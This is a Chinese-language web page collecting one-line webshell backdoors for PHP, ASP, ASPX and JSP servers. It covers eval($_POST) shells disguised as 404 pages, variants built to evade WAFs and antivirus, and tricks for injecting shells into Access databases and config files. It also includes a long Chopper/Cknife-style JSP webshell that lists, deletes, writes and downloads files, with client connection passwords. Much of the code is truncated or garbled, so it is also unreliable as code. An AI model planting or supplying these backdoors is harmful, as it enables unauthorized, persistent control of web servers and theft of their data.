php⼀句话⼤全,[各种⼀句话⽊马⼤全]各种⼀句话PHP⼀句话:
1、普通⼀句话
2、防爆破⼀句话
3、过狗⼀句话
等价于
$=@$GET['s'];
@$($_POST['pass']);
>
4、404隐藏⼀句话
preg_replace()⽅法中的e,只适⽤于php5及更早的版本,php5后的版本已经⽆法正常使⽤,
404 Not Found
Not Found
The requested URL was not found on this server.
@preg_replace("/\w/e",$_POST['error'],"e");#preg_replace()⽅法中的e,只适⽤于php5及更早的版本,
header('HTTP/1.1 404 Not Found') #php5后的版本已经⽆法正常使⽤,
>
404 Not Found
Not Found
The requested URL was not found on this server.
@eval($_POST['pass']); # @可以不提⽰错误
header('HTTP/1.1 404 Not Found');
>
5、不⽤ ? 号的⼀句话
6、躲避检测
7、变形⼀句话后门
8、免杀⼀句话⽊马
访问该⽹页,然后菜⼑连接:/myh0st.php 密码:ki11
ASP⼀句话:
1、普通⼀句话:
或
2、unicode编码的access⽊马
向access数据库插⼊ ┼攠數畣整爠煥敵瑳∨≡┩> 编码前:
然后备份出webshell,密码a
3、配置⽂件插马(需要条件⽀持,插⼊的数据被写在了配置⽂件中)
插⼊:"%>
4、不⽤%的⼀句话
5、不⽤”的⼀句话:
密码:#
ASPX⼀句话:
1、普通⼀句话
2、免杀的ASPX⼀句话
3、⼜⼀个免杀的ASPX⼀句话
JSP菜⼑⼀句话
%@page import="java.io.,java.util.,java.,java.sql.,*"%>
String Pwd = "Cknife";
String cs = "UTF-8";
String EC(String s) throws Exception {
return new Bytes("ISO-8859-1"),cs);
}
Connection GC(String s) throws Exception {
error parse newString[] x = s.trim().split("choraheiheihei");
Class.forName(x[0].trim());
if(x[1].indexOf("jdbc:oracle")!=-1){
Connection(x[1].trim()+":"+x[4],x[2].equalsIgnoreCase("[/null]")?"":x[2],x[3].equalsIgnoreCase(" [/null]")?"":x[3]);
}else{
Connection c = Connection(x[1].trim(),x[2].equalsIgnoreCase("[/null]")?"":x[2],x[3].equalsIgnoreCase(" [/null]")?"":x[3]);
if (x.length > 4) {
c.setCatalog(x[4]);
}
return c;
}
}
void AA(StringBuffer sb) throws Exception {
File k = new File("");
File r[] = k.listRoots();
for (int i = 0; i < r.length; i++) {
sb.append(r[i].toString().substring(0, 2));
}
}
void BB(String s, StringBuffer sb) throws Exception {
File oF = new File(s), l[] = oF.listFiles();
String sT, sQ, sF = "";
java.util.Date dt;
SimpleDateFormat fm = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss"); for (int i = 0; i < l.length; i++) {
dt = new java.util.Date(l[i].lastModified());
sT = fm.format(dt);
sQ = l[i].canRead() ? "R" : "";
sQ += l[i].canWrite() ? " W" : "";
if (l[i].isDirectory()) {
sb.append(l[i].getName() + "/\t" + sT + "\t" + l[i].length()+ "\t" + sQ + "\n"); } else {
sF+=l[i].getName() + "\t" + sT + "\t" + l[i].length() + "\t"+ sQ + "\n";
}
}
sb.append(sF);
}
void EE(String s) throws Exception {
File f = new File(s);
if (f.isDirectory()) {
File x[] = f.listFiles();
for (int k = 0; k < x.length; k++) {
if (!x[k].delete()) {
EE(x[k].getPath());
}
}
}
f.delete();
}
void FF(String s, HttpServletResponse r) throws Exception {
int n;
byte[] b = new byte[512];
ServletOutputStream os = r.getOutputStream();
BufferedInputStream is = new BufferedInputStream(new FileInputStream(s)); os.write(("->" + "|").getBytes(), 0, 3);
while ((n = is.read(b, 0, 512)) != -1) {
os.write(b, 0, n);
}
os.write(("|" + "
os.close();
is.close();
}
void GG(String s, String d) throws Exception {
String h = "0123456789ABCDEF";
File f = new File(s);
FileOutputStream os = new FileOutputStream(f);
for (int i = 0; i < d.length(); i += 2) {
os.write((h.indexOf(d.charAt(i)) << 4 | h.indexOf(d.charAt(i + 1))));
}
os.close();
}
void HH(String s, String d) throws Exception {
File sf = new File(s), df = new File(d);
if (sf.isDirectory()) {
if (!df.exists()) {
df.mkdir();
}
File z[] = sf.listFiles();
for (int j = 0; j < z.length; j++) {
HH(s + "/" + z[j].getName(), d + "/" + z[j].getName());
}
} else {
FileInputStream is = new FileInputStream(sf);
FileOutputStream os = new FileOutputStream(df);
int n;
byte[] b = new byte[512];
while ((n = is.read(b, 0, 512)) != -1) {
os.write(b, 0, n);
}
is.close();
os.close();
}
}
void II(String s, String d) throws Exception {
File sf = new File(s), df = new File(d);
}
void JJ(String s) throws Exception {
File f = new File(s);
f.mkdir();
}
void KK(String s, String t) throws Exception {
File f = new File(s);
SimpleDateFormat fm = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss"); java.util.Date dt = fm.parse(t);
f.Time());
}
void LL(String s, String d) throws Exception {
URL u = new URL(s);
int n = 0;
FileOutputStream os = new FileOutputStream(d);
HttpURLConnection h = (HttpURLConnection) u.openConnection(); InputStream is = h.getInputStream();
byte[] b = new byte[512];
while ((n = is.read(b)) != -1) {
os.write(b, 0, n);
版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系QQ:729038198,我们将在24小时内删除。
发表评论